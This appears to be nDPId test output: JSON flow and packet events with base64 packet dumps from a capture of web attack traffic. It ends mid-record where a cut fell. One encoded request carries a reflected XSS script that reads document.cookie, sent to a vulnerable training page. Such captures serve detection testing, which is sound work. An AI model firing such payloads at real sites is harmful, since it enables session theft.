+00433{"flow_id":225,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3240,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347356,"pkt_ts_usec":715196,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0XeNAAD4GZ\/WsEAABwKgKMtvKAFA3cANuy7fBxYAQAOW8NQAAAQEICgE6Y9YD5DVM"} +00433{"flow_id":226,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3244,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347357,"pkt_ts_usec":714463,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA094lAAD4Gzk6sEAABwKgKMtvYAFB9d6huLEE\/4IARAOX1bAAAAQEICgE6ZNAD5DFg"} +00433{"flow_id":226,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3245,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347357,"pkt_ts_usec":714711,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0CaZAAEAGujLAqAoyrBAAAQBQ29gsQT\/gfXeob4ARAOPwhwAAAQEICgPkNkYBOmTQ"} +00433{"flow_id":226,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3246,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347357,"pkt_ts_usec":715233,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA094pAAD4Gzk2sEAABwKgKMtvYAFB9d6hvLEE\/4YAQAOXwhQAAAQEICgE6ZNAD5DZG"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3247,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":229,"flow_packet_id":1,"flow_first_seen":1499347357727,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56334,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":229,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3247,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347357,"pkt_ts_usec":727928,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8p9BAAD4GHgCsEAABwKgKMtwOAFCyy8MDAAAAAKACchCmyAAAAgQFtAQCCAoBOmTTAAAAAAEDAwc="} +00445{"flow_id":229,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3248,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347357,"pkt_ts_usec":727995,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ3A4qYd\/GssvDBKAScSBjUgAAAgQFtAQCCAoD5DZJATpk0wEDAwc="} +00432{"flow_id":229,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3249,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347357,"pkt_ts_usec":728738,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0p9FAAD4GHgesEAABwKgKMtwOAFCyy8MEKmHfx4AQAOUCWgAAAQEICgE6ZNMD5DZJ"} +00946{"flow_id":227,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3262,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347360,"pkt_ts_usec":34968,"pkt_caplen":449,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":449,"pkt_l4_len":415,"pkt":"ABm5CmnxAMGxFOsxCABFAAGzGH5AAD4Gq9usEAABwKgKMtvyAFB7gnog+45hk4AYAOXe4QAAAQEICgE6ZxQD5DPYR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvb2tpZTogc2VjdXJpdHk9bG93OyBzZWN1cml0eT1sb3c7IFBIUFNFU1NJRD12Nm9va2Y2ZTI2bjFpZG81c2l2ZTZzYWk3MQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} +00773{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3262,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":227,"flow_packet_id":4,"flow_first_seen":1499347355229,"flow_last_seen":1499347360034,"flow_tot_l4_data_len":527,"flow_min_l4_data_len":32,"flow_max_l4_data_len":415,"flow_avg_l4_data_len":131,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56306,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"205.174.165.68","url":"205.174.165.68\/dv\/vulnerabilities\/xss_r\/","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (X11; Linux x86_64; rv:45.0) Gecko\/20100101 Firefox\/45.0"}} +00433{"flow_id":227,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3263,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347360,"pkt_ts_usec":35098,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0WRlAAEAGar\/AqAoyrBAAAQBQ2\/L7jmGTe4J7n4AQAOspowAAAQEICgPkOIoBOmcU"} +02829{"flow_id":227,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3264,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347360,"pkt_ts_usec":38150,"pkt_caplen":1837,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1837,"pkt_l4_len":1803,"pkt":"AMGxFOsxABm5CmnxCABFAAcfWRpAAEAGY9PAqAoyrBAAAQBQ2\/L7jmGTe4J7n4AYAOt9\/QAAAQEICgPkOIsBOmcUSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjIyOjM5IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTQxOQ0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9MTAwDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpDb250ZW50LVR5cGU6IHRleHQvaHRtbDtjaGFyc2V0PXV0Zi04DQoNCh+LCAAAAAAAAAOtWG1P4zgQ\/gzS\/gefTzpgpcbb2y+3XJoVtHAgsbfctix70kmRm7itwYmD7bTw72\/sOG14LdkioeKXeXk84xnP5N12+Mvga3\/07\/kRmplMoPOLw7PTPsIdQi4\/9gkZjAbox8noyxnqBh\/Q0CieGEKO\/sYIz4wp9glZLBbB4mMg1ZSMvpFbK6Vr2fywox1PkJoUR++2322HTs9tJnLde0JG99OnTxVrRb4VzhhNYbi1FWbMUGRZOuym5PMe7svcsNx0RncFwyipZj1s2K0hVsSfKJlRpZnpXYyOO39gRCqZW6HhRrDoeylypuiYC27u9tE3NhEsMSxFfSW1RkNuGBomiheG51O0+2M43EP7+2hAsxzVvIKhSzZGB0UheEINlznaHXy\/PNhD827Q\/YDeD9icCVlkAO19SCrFHoXg+TVSTPSwNneC6RljBiMDp\/GHSLTGaKbYpIeDgMBfOl9Qu0oyyvPAbZPH0jiYopbzH8\/olBFYui9pQueWLHAbSxnanbYJ4YrOabWKkVbJPSBX2v0\/BwXBlcZRSCpK7zniXWfHY5neoURQbb0uM4Yrl6Z8jnjaw9Z3cCKmvNcbW1ZIY30r5Nn0ERJ3SE2EnMqgyKcYUQEXYY2jVucGrKDukWpr5BgcVza0P9qLC5qmLK0OBASlqM9pdw+FTK6taQRHMk9A9XUPL3ieykUAWw5Hb6c6SbCDa1ZgoPfcFeDoBMwWEgpWFjzafo1AnkP0lYld0kExK16Q\/5AUR6eNlXZqIeDKYo2+JQ2OhnaICIQfLKLBYUMZKUW0gUHnjfjmcD3GqjSMvIDqaQYcHdr\/6FiqpKUHHgpktyxpA8DR46gvs4zmKTrNr5jzyGYoEq0mbVA4ekAx\/Ha8meIJJ8HnAkK1x4GzTNmaW\/IqfhwdcwjuU7uiN7ZNWQhJ0zbW8RwexoWbbegfWhh4uVq5yLO4uGVJqRjqH5yP+icHm0HRN4K3weHoIab\/OXury2olxmN43Fo5pcH1AA3aPbTLe5uhWjB6HfNWkGoWHF3CCA2ZtrcVnQ5apteHcm+1jlsBqRhwBPUM1Cpfv2xoCitONfRrVlVRr8KhahzL4usN0Oi21tA1iqGR6j6EDZ8gF4tQXa59DldkOLL1I9yPaqmdOYCf5xO5Rl2DCkfnJ+cQHRPZThEdy9KsUbOkwdGBHb6dWW2ht1b9ighHZ278AICv2O7Vfs8XgraEXRWC0MnYXa\/b7jULwXDW\/ZnuAkrmri+YG8Lnywo2TmTKYqoY9fXzRKoM5TSDah34oex1Ka6Hf8UIuqWZBOx\/HY18bRoW\/sSXM2p2NLqTpXLMn+vKOi\/KZvGPvWj7u6xvm0S6HGccyOZUlDAdVlOvjRRR1VQQi9Ituq5gaeBw9nv0BeLN3T6V0eqtgEW7590Dl2HlVtv7ad8vygXVhWsZ4YawW+tl4gzb0WDYeGnY2BkWuiGqptAIYngUaH6No5+XtbxErfEBdwxFgmEqPoKuCo4b96G9MfHQd34tMb4sbz1OlgcLfs0LlnLqRNtZ8+S6Pvnz2F4v42U8\/pjJlC9zYSIzm507E3oTuC8CT4J4BeOrNFc4qWDKdJ2EF9U9om7q8Mmluup14zhW0G5Wv3UGeSbj+LBPBKNqGUxPpSV9pw3LYpvKnwzPcWmMbXN9eH7nbIFOmCiWKbOQRVnENZnM+1XSXfX8+0BxUeyiZx7bOUiMZyDRXsfPAMk96b\/VjugJudhBezhCa2ENIRcl7G2BaSdzLTRrTSr4FNKmYBNIXyHLogvNlE17+yGBGaJpxnPvQpjXbzM6sx93PA1IXFHAo3o6GPqdlGubvdPai886dCKlufeto4g2+dhUPPWqNRMwse9W9VnOfTCL\/geoshewERQAAA=="} +00431{"flow_id":227,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3265,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347360,"pkt_ts_usec":38812,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0GH9AAD4GrVmsEAABwKgKMtvyAFB7gnuf+45ofoAQAQAioQAAAQEICgE6ZxUD5DiL"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3266,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":230,"flow_packet_id":1,"flow_first_seen":1499347360285,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56360,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":230,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3266,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347360,"pkt_ts_usec":285446,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8h\/1AAD4GPdOsEAABwKgKMtwoAFB3hOCvAAAAAKACchDBygAAAgQFtAQCCAoBOmdSAAAAAAEDAwc="} +00444{"flow_id":230,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3267,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347360,"pkt_ts_usec":285542,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ3Ci3TdMGd4TgsKAScSD7qAAAAgQFtAQCCAoD5DjIATpnUgEDAwc="} +00433{"flow_id":230,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3268,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347360,"pkt_ts_usec":286330,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0h\/5AAD4GPdqsEAABwKgKMtwoAFB3hOCwt03TB4AQAOWarwAAAQEICgE6Z1MD5DjI"} +01215{"flow_id":227,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3269,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347360,"pkt_ts_usec":287409,"pkt_caplen":651,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":651,"pkt_l4_len":617,"pkt":"ABm5CmnxAMGxFOsxCABFAAJ9GIBAAD4Gqw+sEAABwKgKMtvyAFB7gnuf+45ofoAYAQDt9wAAAQEICgE6Z1MD5DiLR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvP25hbWU9JTNDc2NyaXB0JTNFY29uc29sZS5sb2clMjglMjdINzFYSkNGUkhaWjg5U01CUUxaRElYS0M1MU1TS1VYNlRVTkkwSlQ4UDBHRUdOWDVaRCUyNyUyOSUzQmNvbnNvbGUubG9nJTI4ZG9jdW1lbnQuY29va2llJTI5JTNCJTNDJTJGc2NyaXB0JTNFIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNClJlZmVyZXI6IGh0dHA6Ly8yMDUuMTc0LjE2NS42OC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvDQpDb29raWU6IHNlY3VyaXR5PWxvdzsgc2VjdXJpdHk9bG93OyBQSFBTRVNTSUQ9djZvb2tmNmUyNm4xaWRvNXNpdmU2c2FpNzENCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K"} +02966{"flow_id":227,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3270,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347360,"pkt_ts_usec":290352,"pkt_caplen":1934,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1934,"pkt_l4_len":1900,"pkt":"AMGxFOsxABm5CmnxCABFAAeAWRxAAEAGY3DAqAoyrBAAAQBQ2\/L7jmh+e4J96IAYAPR+XgAAAQEICgPkOMoBOmdTSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjIyOjQwIEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTUxNw0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61Y\/0\/bOBT\/GaT9Dz6fdMBJxPSm3Q3WZoIWRjfYOtIODp0UuYnbGpw4i50W\/vt7dpI2fC1ZkVBx7Pfl8\/yen9\/zm\/Xmb51v7f6\/vUM00ZFAvcHBSbeN8DYh52\/bhHT6HXRx3D89QQ1nB3k65YEm5PArRniidbJHyGw2c2ZvHZmOSf+M3BgpDcNWDLeV5XFCHWL3zfqb9abVcxOJWLUekdHY3d3NWXPyteaE0RCGa2vNiGmKDMs2+5nxaQu3ZaxZrLf7twnDKMi\/WlizG02MiA8omNBUMd0a9I+232NEcplrTc21YO6PTMQspUMuuL7dQ2dsJFigWYjaqVQKeVwz5AUpTzSPx2jzwvO20N4e6tAoRiWvYOicDdF+kggeUM1ljDY7P873t9C04TR20J8dNmVCJhFA+7NJcsUFCsHja5Qy0cJK3wqmJoxpjDRYUxgRKIXRJGWjFnYcAn\/hdEbNLIkojx27TB5K47AVpZz\/eETHjMDUXUkjOjVkjl2Yy1DW2iqEKzql+SxGKg3uALlS9n8PFDhXCrtNklMWniOF68x4KMNbFAiqjNdlxHDu0pBPEQ9b2PgOLGJp4fXKkhFSmV9r8mj8AIk1UhEhx9JJ4jFGVEAgLHHUwm7ACuoeqDab7IPjsor2B2t+QsOQhblBQJCJ0k6zeiBkcG22RnAk4wBUX7fwjMehnDmwZHG0NnJLnA1csgIDveMuB7vHsG1NQmGXBXfXXyKQx3D6ssBMKSeZJM\/Iv0+K3W5lpp5aOHBZskTfnAa7nhkiAscPJlHnoKKMZMJdYUOnlfPNITyGaaYZeQbV4wzYPTD\/0ZFMg5oeuC+Q3bCgDgBLj922jCIah6gbXzHrkdVQBCod1UFh6QGFd3a0muIRJ87HBI5qiwNnFrIlUfIifuwecTjcXTOjVt6bLBGShnV2p+AoYAzs14r+oYmGm6uWiwoWe25ZkKUMtfd7\/fbx\/mpQ1E\/B6+Cw9HCmv5+8VrAaif4QLrdaTqlw3UODNg\/M9NZqqGaMXvu8FqSSBbvnMEIeUyZaUbdTM73el3ujlF8LSM6AXahnoFb5drriVhhxaUW\/YnkV9SIcaYljXny9AhpVdzdUicLTMr0LYcUryJ5FqC6XXocLMuya+hHiI5+qtx3Az+ORXKKuQoXd3nEPTsdI1lNEhzLTS9TMabC7b4avt62m0FuqfkGE3RM7vgegqNju1H5PF4KmhF0UgtDJmNVCt1mrFoLNSeNXugsomRtFwVwRPp1XsH4gQ+bTlNGifh7JNEIxjaBaB34oe22Ka+HfMYJuaSIB+6fDflGbNpPC4vMJ1RsK3costcwfy8o6TrJq8Y8L0eZ3Xt9WiVQ2jDiQTanI4NPLPwttJHHzpoIYlDneJGXuMRNCoqLVcKHyV1Iw8PB4c+P4n8bF5\/bR2fHl5ftd7\/Tg+8llp3vxpf2ucep9GVz83R987e587r\/v7Xw6\/PT14t1lZ2PrQ1VCKIPMdFpOIOU1Z1sf5i0JwEmZdc3Cw83JX+4pHHgb\/mlE88sKJs1aER8QjYu4Ms2nKhpWOaMqsT0rhCi7MWFGrGe3FXjWn3vWt56FdoymY+hEMdxKNL7G7q\/LmkdxbXzA7UOVolnqH0JbB+b6beivtO8VrWdNjM\/LW46Txc6MX\/OEhZxa0eararkqLX8a28tlPI+nMDMY83kyDmRkroftEf3p2CeJR0G8gPFFmnOcVLBUN6yEZ9U9oK7qKLJbHupl5zpMod\/Nf8sU9kTKK\/JOIBhN56f5sbyobpVmkW\/ukkfzwzDT2vTZRX74wdkMwfFP5jk7kUmW+CWZjNt51l88OuwBxSDZRE\/c9lOQ6E9AognHjwDJ1hR\/lI5oCTnbQFvYRUtheZAMA\/a6wJSVuRSa2U0q+BjytmAjyJ9NFrkDxVKTd\/eaBL4QDSMeFy6E77I4QCfmdamgAYkLCrjVux2vWAm5MtdHWHrxSYeOpNR3HlsSd5XXruSxa7WagIm5OPN3Qfti5\/4PNM0i6ZIUAAA="} +00433{"flow_id":227,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3271,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347360,"pkt_ts_usec":291116,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0GIFAAD4GrVesEAABwKgKMtvyAFB7gn3o+45vyoAQAR0YcQAAAQEICgE6Z1QD5DjK"} +00948{"flow_id":227,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3272,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347361,"pkt_ts_usec":313532,"pkt_caplen":449,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":449,"pkt_l4_len":415,"pkt":"ABm5CmnxAMGxFOsxCABFAAGzGIJAAD4Gq9esEAABwKgKMtvyAFB7gn3o+45vyoAYAR3GeAAAAQEICgE6aFQD5DjKR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvb2tpZTogc2VjdXJpdHk9bG93OyBzZWN1cml0eT1sb3c7IFBIUFNFU1NJRD12Nm9va2Y2ZTI2bjFpZG81c2l2ZTZzYWk3MQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} +02824{"flow_id":227,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3273,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347361,"pkt_ts_usec":316571,"pkt_caplen":1836,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1836,"pkt_l4_len":1802,"pkt":"AMGxFOsxABm5CmnxCABFAAceWR5AAEAGY9DAqAoyrBAAAQBQ2\/L7jm\/Ke4J\/Z4AYAP19\/AAAAQEICgPkOcoBOmhUSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjIyOjQxIEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTQxOQ0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTgNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61YbU\/jOBD+DNL+B59POmClxtvbL7dcmhW0cCCxt9y2LHvSSZGbuK3BiYPttPDvb+w4bXgt2SKh4pd5eTzjGc\/k3Xb4y+Brf\/Tv+RGamUyg84vDs9M+wh1CLj\/2CRmMBujHyejLGeoGH9DQKJ4YQo7+xgjPjCn2CVksFsHiYyDVlIy+kVsrpWvZ\/LCjHU+QmhRH77bfbYdOz20mct17Qkb306dPFWtFvhXOGE1huLUVZsxQZFk67Kbk8x7uy9yw3HRGdwXDKKlmPWzYrSFWxJ8omVGlmeldjI47f2BEKplboeFGsOh7KXKm6JgLbu720Tc2ESwxLEV9JbVGQ24YGiaKF4bnU7T7YzjcQ\/v7aECzHNW8gqFLNkYHRSF4Qg2XOdodfL882EPzbtD9gN4P2JwJWWQA7X1IKsUeheD5NVJM9LA2d4LpGWMGIwOn8YdItMZoptikh4OAwF86X1C7SjLK88Btk8fSOJiilvMfz+iUEVi6L2lC55YscBtLGdqdtgnhis5ptYqRVsk9IFfa\/T8HBcGVxlFIKkrvOeJdZ8djmd6hRFBtvS4zhiuXpnyOeNrD1ndwIqa81xtbVkhjfSvk2fQREndITYScyqDIpxhRARdhjaNW5wasoO6RamvkGBxXNrQ\/2osLmqYsrQ4EBKWoz2l3D4VMrq1pBEcyT0D1dQ8veJ7KRQBbDkdvpzpJsINrVmCg99wV4OgEzBYSClYWPNp+jUCeQ\/SViV3SQTErXpD\/kBRHp42Vdmoh4Mpijb4lDY6GdogIhB8sosFhQxkpRbSBQeeN+OZwPcaqNIy8gOppBhwd2v\/oWKqkpQceCmS3LGkDwNHjqC+zjOYpOs2vmPPIZigSrSZtUDh6QDH8dryZ4gknwecCQrXHgbNM2Zpb8ip+HB1zCO5Tu6I3tk1ZCEnTNtbxHB7GhZtt6B9aGHi5WrnIs7i4ZUmpGOofnI\/6JwebQdE3grfB4eghpv85e6vLaiXGY3jcWjmlwfUADdo9tMt7m6FaMHod81aQahYcXcIIDZm2txWdDlqm14dyb7WOWwGpGHAE9QzUKl+\/bGgKK0419GtWVVGvwqFqHMvi6w3Q6LbW0DWKoZHqPoQNnyAXi1Bdrn0OV2Q4svUj3I9qqZ05gJ\/nE7lGXYMKR+cn5xAdE9lOER3L0qxRs6TB0YEdvp1ZbaG3Vv2KCEdnbvwAgK\/Y7tV+zxeCtoRdFYLQydhdr9vuNQvBcNb9me4CSuauL5gbwufLCjZOZMpiqhj19fNEqgzlNINqHfih7HUprod\/xQi6pZkE7H8djXxtGhb+xJczanY0upOlcsyf68o6L8pm8Y+9aPu7rG+bRLocZxzI5lSUMB1WU6+NFFHVVBCL0i26rmBp4HD2e\/QF4s3dPpXR6q2ARbvn3QOXYeVW2\/tp3y\/KBdWFaxnhhrBb62XiDNvRYNh4adjYGRa6Iaqm0AhieBRofo2jn5e1vESt8QF3DEWCYSo+gq4Kjhv3ob0x8dB3fi0xvixvPU6WBwt+zQuWcupE21nz5Lo++fPYXi\/jZTz+mMmUL3NhIjObnTsTehO4LwJPgngF46s0VzipYMp0nYQX1T